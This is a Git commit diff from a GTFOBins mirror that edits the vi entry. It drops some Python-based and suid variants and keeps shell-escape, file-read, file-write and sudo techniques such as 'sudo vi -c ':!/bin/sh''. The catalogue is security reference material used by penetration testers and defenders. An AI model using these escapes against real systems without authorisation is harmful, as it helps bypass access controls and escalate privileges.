1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Skim wrong functions from original vi

This commit is contained in:
Emilio Pinna 2018-12-18 14:04:05 +01:00
parent 9432a6ce3c
commit 4910c32409

View File

@ -1,13 +1,12 @@
---
description: Modern Unix systems run [`vim`](/gtfobins/vim/) binary when `vi` is called.
functions:
shell:
- code: vi -c ':!/bin/sh'
- code: vi -c ':!/bin/sh' /dev/null
- code: |
vi
:set shell=/bin/sh
:shell
- description: This requires that `vi` is compiled with Python support.
code: vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
file-write:
- code: |
vi file_to_write
@ -16,12 +15,6 @@ functions:
w
file-read:
- code: vi file_to_read
suid:
- code: ./vi -c ':!/bin/sh -p'
- description: This requires that `vi` is compiled with Python support.
code: ./vi -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo:
- code: sudo vi -c ':!/bin/sh'
- description: This requires that `vi` is compiled with Python support.
code: sudo vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
- code: sudo vi -c ':!/bin/sh' /dev/null
---